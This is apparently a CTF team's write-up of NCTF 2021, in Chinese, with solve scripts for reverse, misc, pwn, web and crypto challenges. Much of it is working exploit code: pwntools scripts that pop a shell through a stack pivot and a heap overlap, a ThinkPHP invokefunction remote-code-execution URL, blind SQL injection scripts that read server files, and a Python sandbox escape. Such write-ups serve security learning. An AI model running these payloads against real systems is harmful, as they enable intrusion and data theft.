tangpingju
Final Ranks: 1st
# Reverse
# Hello せかい | DONE
拖进 IDA 看到明文 flag
# Shadowbringer | DONE
c++ 实现的两次 base64 加密
两次的表互为逆序串,且 padding 为由 = 变为!
#include <stdio.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <math.h> | |
#include <string.h> | |
char table[] = "#$%&'()*+,-.s0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[h]^_`ab"; | |
char padding_char = '!'; | |
int findchr(char *array, char ch) { | |
for(int i = 0; i < strlen(array); i++) { | |
if(array[i] == ch) { | |
return i; | |
} | |
} | |
return 0; | |
} | |
void b64encode(char *src, char *result) { | |
int fill_byte = 0, result_length = 0, index = 0, data_length = strlen(src); | |
// bool full = true; | |
fill_byte = (3-data_length)%3; | |
for(int k = 0; k < fill_byte; k++) { | |
src[data_length + k] = '\0'; | |
} | |
int j = 0; | |
for(int i = 0; i < data_length; i += 3) { | |
index = src[i] >> 2; | |
result[j++] = table[index]; | |
index = ((src[i] & 3) << 4) + (src[i+1] >> 4); | |
result[j++] = table[index]; | |
index = ((src[i+1]&15) << 2) + (src[i+2] >> 6); | |
result[j++] = table[index]; | |
index = (src[i+2]&0x3f); | |
result[j++] = table[index]; | |
} | |
result_length = strlen(result); | |
for(int k = 0; k < fill_byte; k++) { | |
result[result_length - 1 - k] = padding_char; | |
} | |
} | |
void b64decode(char *src, char *result) { | |
int base_len = strlen(src); | |
int j = 0; | |
for(int i = 0; i < base_len; i++) { | |
if (src[i] == padding_char) | |
src[i] = 'A'; | |
} | |
for(int i = 0; i <base_len; i += 4) { | |
result[j++] = (findchr(table, src[i]) << 2) + (findchr(table, src[i+1]) >> 4); | |
result[j++] = (findchr(table, src[i+1]) << 4) + (findchr(table, src[i+2]) >> 2); | |
result[j++] = ((findchr(table, src[i + 2]) & 3) << 6) + (findchr(table, src[i+3])); | |
} | |
} | |
int main() { | |
char de_words[100] = {'\0'}; | |
char en_words[100] = "6G074JP+s)WV:Z+T<&(Q18`Ks)WV:Y4hs9[h:YCS?&0`!"; | |
b64decode(en_words, de_words); | |
printf("encode:%s\n", en_words); | |
printf("decode:%s\n", de_words); | |
return 0; | |
} |
# shark | DONE
根据反调试相关代码位置的初始化,自己可以生成一份数据。拿到数据之后实际上就可以不用管数据了,直接 patch 反调试的位置然后只关注流程
#include <stdio.h> | |
#include <stdint.h> | |
int main() { | |
int32_t num = 0xEDB88320; | |
int32_t v5 = 0; | |
uint32_t v6 = 0; | |
int16_t v7 = 0; | |
int32_t wtf_table[256] = {0}; | |
do { | |
v6 = (uint8_t)v5; | |
v7 = 0; | |
do { | |
if ((v6 & 1) != 0) | |
v6 = num ^ (v6 >> 1); | |
else | |
v6 = v6 >> 1; | |
v7++; | |
} | |
while (v7 < 8); | |
wtf_table[v5] = v6; | |
v5++; | |
} | |
while (v5 != 256); | |
for (int i = 0; i < 256; i++) { | |
printf("%#x, ", wtf_table[i]); | |
} | |
return 0; | |
} |
拿到之后根据程序流程获得汇编,由于 patch 了啥只与地址相关,可以不用管输入具体是什么。模拟加密之后,可以猜测是每两个字节取输入,进行 20 轮相同的加密,考虑直接爆破。
在模拟过程中注意:
- 逻辑右移的实现方法
- 取低 8 bits
asm = [ | |
'mov ds:dword_404E50, 0FFFFFFFFh', | |
'mov ecx, ds:dword_404E40', | |
'mov dl, [ecx+4049F8h]', # input[0] | |
'mov byte ptr ds:unk_404E4C, dl', | |
'movzx eax, ds:byte_404E4C', | |
'xor eax, ds:dword_404E50', | |
'mov ds:byte_404E4C, al', # get the low 8 bits of eax | |
'movzx ecx, ds:byte_404E4C', | |
'and ecx, 0FFh', # (input[0] ^ 0xffffffff) & 0xff & 0xff | |
'mov ds:byte_404E4C, cl', | |
'mov edx, ds:dword_404E50', | |
'shr edx, 8', | |
'mov ds:dword_404E50, edx', | |
'movzx eax, ds:byte_404E4C', | |
'mov ecx, ds:dword_404E50', | |
'xor ecx, ds:wft_table[eax*4]', | |
'mov ds:dword_404E50, ecx', | |
'mov edx, ds:dword_404E40', | |
'mov al, [edx+4049F9h]', # input[1] | |
'mov ds:byte_404E4C, al', | |
'movzx ecx, ds:byte_404E4C', | |
'xor ecx, ds:dword_404E50', | |
'mov ds:byte_404E4C, cl', # get the low 8 bits of ecx | |
'mov edx, ds:dword_404E50', | |
'shr edx, 8', | |
'mov ds:dword_404E50, edx', | |
'movzx eax, ds:byte_404E4C', | |
'mov ecx, ds:dword_404E50', | |
'xor ecx, ds:wft_table[eax*4]' | |
'mov ds:dword_404E50, ecx' | |
'mov edx, ds:dword_404E50' | |
'xor edx, 0FFFFFFFFh', | |
'mov ds:dword_404E50, edx' | |
] | |
patch_length = [0x0000020A, 0x00000226, 0x00000236, 0x00000216, 0x00000317, 0x00000206, 0x00000115, 0x00000317, 0x00000FF6, 0x00000216, 0x00000206, | |
0x00000FF3, 0x00000206, 0x00000317, 0x00000206, 0x00000347, 0x00000206, 0x00000226, 0x00000236, 0x00000115, 0x00000317, 0x00000206, | |
0x00000216, 0x00000206, 0x00000FF3, 0x00000206, 0x00000317, 0x00000206, 0x00000347, 0x00000206, 0x00000206, 0x00000FF3, 0x00000206] | |
wtf_table = [0, 0x77073096, 0xee0e612c, 0x990951ba, 0x76dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0xedb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x9b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x1db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x6b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0xf00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x86d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x3b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x4db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0xd6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0xa00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x26d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x5005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0xcb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0xbdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d] | |
magic = [0xC0F6605E, 0x00B16E0A, 0x3319A2D2, 0x57CAB7B7, 0x9A646D9C, 0xBDD82726, 0xD838FB91, 0x8DE10BB3, 0x176B0DAD, 0x685FDEEF, | |
0x2C1FF7B1, 0x6C444296, 0xA15CFE90, 0x20CD8721, 0x62967CE8, 0x2C1641FD, 0x572D0F9A, 0xAE52DC2C, 0x50497DCF, 0xFF6ABF4A] | |
def gen_patch_length_table(): | |
result = [] | |
for i in patch_length: | |
result.append(i&0xf) | |
return result | |
def unsigned32(signed): | |
return signed % 0x100000000 | |
def enc_func(a, b): | |
result = 0xFFFFFFFF | |
temp = (result ^ a) & 0xff | |
result = unsigned32(result) >> 8 | |
result = result ^ wtf_table[temp] | |
temp = (result ^ b) & 0xff | |
result = unsigned32(result) >> 8 | |
result = result ^ wtf_table[temp] | |
result ^= 0xFFFFFFFF | |
return result | |
def patch(addr, patch_table_item): | |
v2 = patch_table_item >> 8 | |
choice = patch_table_item >> 4 | |
if choice == 0: | |
pass | |
elif choice == 1: | |
pass | |
elif choice == 2: | |
pass | |
elif choice == 3: | |
pass | |
elif choice == 4: | |
pass | |
if __name__ == '__main__': | |
flag = [] | |
for cnt in range(len(magic)): | |
for i in range(256): | |
for j in range(256): | |
if enc_func(i, j) == magic[cnt]: | |
flag.append(i) | |
flag.append(j) | |
break | |
print(bytes(flag)) |
# Misc
# Hello File Format | Done
神必文件,和 GPU 和 mac 没有任何关系,转为图片就行了
f1 = open('chall','rb').read() | |
chall = [] | |
for i in f1: | |
chall.append(int(i)) | |
#print(chall) | |
from PIL import Image, ImageDraw | |
t = Image.new('RGB',(1080,1920*3)) | |
for x in range(1080): | |
for y in range(1920*3): | |
if chall[x * 1920*3 + y] == 255: | |
t.putpixel((x,y),(255,255,255)) | |
t.save('t.jpg','jpeg') |
得到图片翻转一下就好了
# Hex 酱的秘密花园 | Done
ban 了这些
不过可以 import os
,用修饰器去打。 [].__doc__
doc 的基本 3.6.9 与 3.9 不同。
不知道为啥 3.6.9 不能给 lambda 套修饰器
# l d[0] | |
# i d[1] | |
# t d[3] | |
# n d[10] | |
# a d[-12] | |
# s d[-1] | |
# f d[-21] | |
# e d[11] | |
# ls d[0] | |
# g l[42] | |
# " " l[47] | |
import os | |
d = [].__doc__ | |
l = {}.__doc__ | |
command = d[10]+d[0]+l[47]+d[-21]+d[0] +d[-12]+l[42] | |
f1 = os.system | |
a = lambda a:command | |
@f1 | |
@a | |
class _:pass |
# 做题做累了来玩玩游戏吧 | Done
unity 逆向,找到 Assembly-CSharp.dll,拖进 dnspy,可以说是 flag 贴脸了
# Pwn
# login | DONE
栈迁移,写了 close 的最低字节到 \xa9 处也就是 syscall 命令处
from pwn import* | |
#p=process('./login',env={'LD_PRELOAD':'./libc-2.31.so'}) | |
#p=process('./login') | |
p=remote('129.211.173.64',10005) | |
#libc=ELF('./libc-2.31.so') | |
elf=ELF('./login') | |
#context.log_level='debug' | |
def csu(func_ptr,rdi,rsi,rdx): | |
payload=p64(0x40128a)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(func_ptr)+p64(0x401270) | |
payload+=p64(0)*7 | |
return payload | |
main_addr=0x4011ed | |
ret_addr=0x401220 | |
leave_ret=0x40121f | |
bss=0x404090 | |
read_got=elf.got['read'] | |
close_got=elf.got['close'] | |
#gdb.attach(p,'b *0x40121f\nc\n') | |
p.recvuntil("Welcome to NCTF2021!") | |
p.send(b'a'*0x100+p64(bss+0x100)+p64(main_addr)) | |
payload=csu(read_got,0,close_got,1)+csu(read_got,0,bss,59)+csu(close_got,bss,0,0) | |
p.send(payload[0:0x100]+p64(bss+0x400)+p64(main_addr)) | |
p.send(b'a'*0x100+p64(bss+0x100+0x100)+p64(main_addr)) | |
#gdb.attach(p,'b *0x40121f\nc\n') | |
payload=csu(read_got,0,close_got,1)+csu(read_got,0,bss,59)+csu(close_got,bss,0,0) | |
p.send(payload[0x100:].ljust(0x100,b'\x00')+p64(bss-0x8)+p64(leave_ret)) | |
p.send(b'\xa9') | |
p.send(b'/bin/sh\x00'.ljust(59,b'\x00')) | |
p.interactive() |
这题关闭了 stdout 和 stderr, 拿到 shell 后 cat flag>&0
# ezheap | DONE
申请 9 个 chunk 然后都 free 掉,8 和 9 就合并放到 unsorted 里了,然后空出一个 tcache 位置后再 free 一次 9,就有 chunk 复用了
from pwn import* | |
#p=process('./ezheap',env={'LD_PRELOAD':'./libc-2.33.so'}) | |
p=remote('129.211.173.64',10002) | |
libc=ELF('./libc-2.33.so') | |
#p=remote('129.211.173.64', 10002) | |
#context.log_level='debug' | |
def cmd(idx): | |
p.sendlineafter(">> ",str(idx)) | |
def alloc(size,content): | |
cmd(1) | |
p.sendlineafter("Size: ",str(size)) | |
p.sendlineafter("Content: ",content) | |
def edit(idx,content): | |
cmd(2) | |
p.sendlineafter("Index: ",str(idx)) | |
p.sendlineafter("Content: ",content) | |
def delete(idx): | |
cmd(3) | |
p.sendlineafter("Index: ",str(idx)) | |
def show(idx): | |
cmd(4) | |
p.sendlineafter("Index: ",str(idx)) | |
#leak | |
for i in range(10): #0-9 | |
alloc(0x80,b'a') | |
for i in range(9): | |
delete(i) | |
show(1) | |
tmp=u64(p.recv(8)) | |
ptr0_11=tmp>>36 | |
ptr0_23=((ptr0_11<<24)^tmp)>>24 | |
ptr0_35=((ptr0_23<<12)^tmp)>>12 | |
heap_base=ptr0_35<<12 | |
print("heap_base: ",hex(heap_base)) | |
show(7) | |
leak_libc=u64(p.recv(8)) | |
libc_base=leak_libc-0x1e0c00 | |
print("libc_base: ",hex(libc_base)) | |
#overlap | |
system=libc_base+libc.symbols['system'] | |
free_hook=libc_base+libc.symbols['__free_hook'] | |
print('free_hook: ',hex(free_hook)) | |
alloc(0x80,b'a') #10 | |
delete(8) | |
alloc(0x70,'a') #11 | |
ptr_addr=heap_base+0x720 | |
alloc(0x70,b'\x00'*0x8+p64(0x19)+p64(free_hook^(ptr_addr>>12))) #12 | |
alloc(0x80,b'/bin/sh\x00') #13 | |
alloc(0x80,p64(system)) #14 | |
#gdb.attach(p) | |
delete(13) | |
p.interactive() |
# vmstack | DONE
from pwn import* | |
#p=process('./vmstack') | |
p=remote('129.211.173.64',10001) | |
context.log_level='debug' | |
p.recvuntil("Input your op code:") | |
#push 29,1111,0x100,0666|IPC_CREAT; pop rdx,rsi,rdi,rax; syscall | |
payload=b'\x00'+p64(29)+b'\x00'+p64(1111)+b'\x00'+p64(0x100)+b'\x00'+p64(950) | |
payload+=b'\x09'+b'\x08'+b'\x07'+b'\x06' | |
payload+=b'\x0c' | |
#push v18;pop rdi;push 30,0,0; pop rdx,rsi,rax; syscall | |
payload+=b'\x01'+b'\x07' | |
payload+=b'\x00'+p64(30)+b'\x00'+p64(0)+b'\x00'+p64(0) | |
payload+=b'\x09'+b'\x08'+b'\x06' | |
payload+=b'\x0c' | |
#push v18;push v18;pop rsi;push 0,0,0x8; pop rdx,rdi,rax;push v18 syscall read() | |
payload+=b'\x01'+b'\x01'+b'\x08' | |
payload+=b'\x00'+p64(0)+b'\x00'+p64(0)+b'\x00'+p64(0x8) | |
payload+=b'\x09'+b'\x07'+b'\x06' | |
payload+=b'\x0c' | |
#pop rdi;push rdi;push 2,0,0; pop rdx,rsi,rax; syscall open() | |
payload+=b'\x07'+b'\x03' | |
payload+=b'\x00'+p64(2)+b'\x00'+p64(0)+b'\x00'+p64(0) | |
payload+=b'\x09'+b'\x08'+b'\x06' | |
payload+=b'\x0c' | |
#push v18;pop rdi;pop rsi;push rsi;push 0,0x30; pop rdx,rax; syscall read() | |
payload+=b'\x01'+b'\x07' | |
payload+=b'\x08'+b'\x04' | |
payload+=b'\x00'+p64(0)+b'\x00'+p64(0x30) | |
payload+=b'\x09'+b'\x06' | |
payload+=b'\x0c' | |
#push 1,1; pop rdi,rax; syscall write() | |
payload+=b'\x00'+p64(1)+b'\x00'+p64(1) | |
payload+=b'\x07'+b'\x06' | |
payload+=b'\x0c' | |
#gdb.attach(p) | |
p.sendline(payload) | |
p.sendline(b'./flag\x00') | |
#p.recv() | |
p.interactive() |
# Web
# 摆就完事了 | DONE
没开强制路由直接 rce 写 shell?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
# 摆就完事了 2.0 | DONE
http://129.211.173.64:8086/public/index.php/index/index/index
延时盲注
过滤了空格,payload
http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if(((substr((select(database())),11,1)="f")),10,0))&username[2]=1substr((select(database())),11,1)="f"
import requests | |
import time | |
result = '' | |
for i in range(1, 1000): | |
min = 33 | |
max = 126 | |
mid = (min + max) // 2 | |
print(i) | |
while max - min > 1: | |
'''url = "http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if(((ascii(substr((select(database())),{},1))>{})),0.5,0))&username[2]=1ascii(substr((select(database())),{},1))>{}".format( | |
i, mid, i, mid)''' | |
'''url = "http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[ | |
1]=sleep(if(((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where( | |
table_schema=database())),{},1))>{})),0.5,0))&username[2]=1ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{}".format(i,mid,i,mid) ''' | |
#url = "http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if(((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='m1saka')),{},1))>{})),0.5,0))&username[2]=1ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='m1saka')),{},1))>{}".format(i,mid,i,mid) | |
url = "http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if(((ascii(substr((select(load_file('/var/www/html/ffllaagg.php'))),{},1))>{})),0.5,0))&username[2]=1ascii(substr((select(load_file('/var/www/html/ffllaagg.php'))),{},1))>{}".format(i,mid,i,mid) | |
time1 = time.time() | |
r = requests.get(url=url) | |
time2 = time.time() | |
time0 = time2-time1 | |
if time0 < 0.5: | |
max = mid | |
mid = (max + min) // 2 | |
else: | |
min = mid | |
mid = (max + min) // 2 | |
result += chr(max) | |
print(result) |
`nctf{m1saka_wanna_marry_liyuu_}``
# ezsql | DONE
password=%25s&name[0]=) union select 1,2,3#&name[1]=1
import requests | |
import time | |
result = '' | |
for i in range(1, 1000): | |
min = 33 | |
max = 126 | |
mid = (min + max) // 2 | |
print(i) | |
while max - min > 1: | |
url = "http://129.211.173.64:3080/login.php" | |
#payload = ") or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}#".format(i, mid) | |
#payload = ") or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x4e635446),{},1))>{}#".format(i, mid) | |
payload = ") or ascii(substr((select(group_concat(`fl@g`))from(`NcTF`)),{},1))>{}#".format(i, mid) | |
data = { | |
"password": "%s", | |
"name[0]": payload, | |
"name[1]": 1 | |
} | |
time.sleep(0.1) | |
r = requests.post(url=url, data=data) | |
if 'Wrong' in r.text: | |
max = mid | |
mid = (max + min) // 2 | |
else: | |
min = mid | |
mid = (max + min) // 2 | |
result += chr(max) | |
print(result) |
和前面那一半拼一起: NCTF{3v3ryth1ng_not_fantast1c_:)}
# Crypto
# signin | DONE
k/1<<1024 连分数直接做
from Crypto.Util.number import* | |
k = 94541588860584895585135152950569493777168309607384495730944110393788712443252059813470464503558980161423182930915955597122997950103392684040352673659694990925903156093591505153081718027169554019948988048641061593654540898258994671824807628660558123733006209479395447337793897155523508261277918178756662618785 | |
n = 780382574657056148524126341547161694121139907409040429176771134165303790043856598163799273195157260505524054034596118923390755532760928964966379457317135940979046201401066257918457068510403020146410174895470232276387032511651496790519359024937958635283547294676457588680828221680705802054780628993173199987362419589945445821005688218540209709368995166794607635504501281131700210990592718388166388793182269128127850804650083811982799377308916540691843310867205397 | |
c = 601133470721804838247833449664753362221136965650852411177773274117379671405966812018926891137093789704412080113310175506684194683631033003847585245560967863306852502110832136044837625931830243428075035781445021691969145959052459661597331192880689893369292311652372449853270889898705765869674961705116875378568712306021536838123003111819172078652012105725060809972222290408551883774305223612755026614701916201374200602892717051698568751566665976546137674450533774 | |
def lianfenshu(n,e):#连分数 | |
s=[] | |
while n >0: | |
k=e//n | |
s.append(k) | |
e1=e | |
n1=n | |
n=e1-k*n | |
e=n1 | |
return s | |
def convergents(e):##e 为连分数的 [] | |
d = [] | |
n = [] | |
for i in range(len(e)): | |
if i == 0: | |
di = e[i] | |
ni = 1 | |
elif i == 1: | |
di = e[i]*e[i-1] + 1 | |
ni = e[i] | |
else: # i > 1 | |
di = e[i]*d[i-1] + d[i-2] | |
ni = e[i]*n[i-1] + n[i-2] | |
n.append(ni) | |
d.append(di) | |
return n,d | |
a = 1<<1024 | |
nn=convergents(lianfenshu(a,k))[0] | |
ee=convergents(lianfenshu(a,k))[1] | |
for i in ee: | |
if (i)==0 or i ==1: | |
continue | |
if n%(i) == 0: | |
print(i) | |
p = 9591034708161364221769733163551836281062083244512519384396165987809544507968391606587728397659016542948096617311787604058178460710869231247971978002127911 | |
c = c%p | |
print(long_to_bytes(pow(c,inverse(65537,p-1),p))) |
# dsa | DONE
HNP 直接日. x 是 (2**256+1) prime ,k 的高 256 已知。
from Crypto.Util.number import* | |
from hashlib import* | |
from sage.all import* | |
q = 4065074330205980877463463424406813850154275302695361748314870346411329051948044450952905063182483477758495116696164996888846308775044737816809015524088898203 | |
y = 7743982251072012463264403932580827621959049035277930304818871889119878506480333248188293037455476433705911511645160292331990658781048396135284434991466243636 | |
h = 19480592192543881131267167328019941277106895469291691207381812905033306766991 | |
r = 962433004607153392099715322793248884218264181538005666659905851247468102959956625098831516046715446615198437005036117685792905736788216987378584513020215442 | |
s = 1861254747644911591100925843087118347161726578606012243057783788330822542299254180561801871884967022902307837045926190782819951409650425825871898890839825777 | |
g = 3 | |
p = 2*q+1 | |
h = hex(h)[2:] | |
k_high = int.from_bytes(sha256(h.encode().hex().encode()).digest(), "big") * (1<<256) | |
h = int(h,16) | |
A = r * inverse(s,q) *((1<<256) + 1) % q | |
B = (h * inverse(s,q) - k_high) % q | |
M = Matrix(ZZ,[[q,0,0],[A,1,0],[B,0,1<<256]]) | |
tempM = (M.LLL()) | |
x = tempM[0,1] | |
x = int(x) | |
x = x*(2**256+1) | |
xxx = int(sha256(x.to_bytes(128, "big")).hexdigest(),16) | |
flag = h^xxx | |
print(hex(flag)) |
# rsa | Done
m ^ e % p = ab^e%p = a^e%p * b^e % p
只要找到碰撞就可以了
m 32 位
a,b 爆 18 位
from Crypto.Util.number import* | |
from gmpy2 import powmod,invert | |
e = 0x10001 | |
c_list = [] | |
def brute(c,n): | |
S = {powmod(i,e,n): i for i in range(1,1<<18)} | |
for i in range(1,1<<18): | |
tmp = c * invert(powmod(i,e,n),n) % n | |
if tmp in S: | |
return i*S[tmp] | |
return None | |
from pwn import * | |
from Crypto.Util.number import * | |
from hashlib import sha256 | |
import string | |
from pwnlib.util.iters import mbruteforce | |
table = string.ascii_letters+string.digits | |
def prow(io): | |
io.recvuntil(b"XXXX+") | |
suffix = io.recv(16).decode("utf8") | |
io.recvuntil(b"== ") | |
cipher = io.recvline().strip().decode("utf8") | |
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == | |
cipher, table, length=4, method='fixed') | |
io.sendlineafter(b"XXXX:", proof) | |
# context.log_level = 'debug' | |
while 1: | |
try: | |
# io = remote("0.0.0.0",38000) | |
io = remote("43.129.69.35",10002) | |
io.recvuntil(b'n = ') | |
n = int(io.recvline().strip()) | |
prow(io) | |
io.recvuntil(b'c0 = ') | |
c_list.append(int(io.recvline().strip())) | |
io.recvuntil(b'c1 = ') | |
c_list.append(int(io.recvline().strip())) | |
io.recvuntil(b'c2 = ') | |
c_list.append(int(io.recvline().strip())) | |
io.recvuntil(b'c3 = ') | |
c_list.append(int(io.recvline().strip())) | |
secret = b'' | |
for c in c_list: | |
S = brute(c,n) | |
print(S) | |
secret += long_to_bytes(S) | |
io.recv() | |
io.sendline(secret.hex().encode()) | |
io.interactive() | |
except: | |
io.close() | |
continue |
# dlp | After Done....
option 1 可以拿到 bin
option 2 为了拿 flag
赛中的时候写的个 test... 脑子糊的直接就 sb 了...
调的人傻了... 就完全不知道咋搞了...
第二天如果还有题再也不熬夜摸鱼了...
from Crypto.Util.number import * | |
p = 144622268328968993341365710278894755118767129325286994164661347213200068288320713151689155598130690763440455157929587751885813242814750422828312072382119518429040602281694119210475772654999865828418886175678335978908269120940864300610431302161143383386149363868608635140950451657400233892787130315426229955639 | |
s = [getPrime(100)] | |
msg = 0xdeadbeef | |
for i in range(1023): | |
s.append(s[i]*s[i]%(p-1))# s[i] == s[0] ** (2 ** i) % p | |
# s[0] ** (p-1) - s[0] | |
a = pow(msg,pow(s[0],p-1,p) * inverse(s[0],p-1),p) # msg ** (s0 ** (p-1) * s0^-1) % p = msg | |
b = a | |
tmp = pow(b,s[0],p) | |
print(hex(tmp)) | |
tmpa = pow(msg,pow(s[0],p-1,p)) | |
def enc(msg,k): | |
return (pow(msg,s[k],p)) | |
# s[0] ^ 2 ^ i | |
C = msg | |
L = bin((p-1))[2:][::-1] | |
P = ['0' for _ in range(1024)] | |
for i in range(len(L)): | |
if L[i] == '1': | |
C = enc(C,i) | |
print(enc(C,0)) | |
print(tmpa) |
上面就是 G 了的,只要改 1 行代码就行。
from Crypto.Util.number import * | |
p = 144622268328968993341365710278894755118767129325286994164661347213200068288320713151689155598130690763440455157929587751885813242814750422828312072382119518429040602281694119210475772654999865828418886175678335978908269120940864300610431302161143383386149363868608635140950451657400233892787130315426229955639 | |
s = [getPrime(100)] | |
msg = 0xdeadbeef | |
for i in range(1023): | |
s.append(s[i]*s[i]%(p-1))# s[i] == s[0] ** (2 ** i) % p | |
# s[0] ** (p-1) - s[0] | |
a = pow(msg,pow(s[0],p-1,p) * inverse(s[0],p-1),p) # msg ** (s0 ** (p-1) * s0^-1) % p = msg | |
b = a | |
tmp = pow(b,s[0],p) | |
print(hex(tmp)) | |
tmpa = pow(msg,pow(s[0],p-1,p)) | |
def enc(msg,k): | |
return (pow(msg,s[k],p)) | |
# s[0] ^ 2 ^ i | |
C = msg | |
L = bin((p-1)//2 -2)[2:][::-1] | |
P = ['0' for _ in range(1024)] | |
for i in range(len(L)): | |
if L[i] == '1': | |
C = enc(C,i) | |
print(enc(C,0)) | |
print(tmpa) |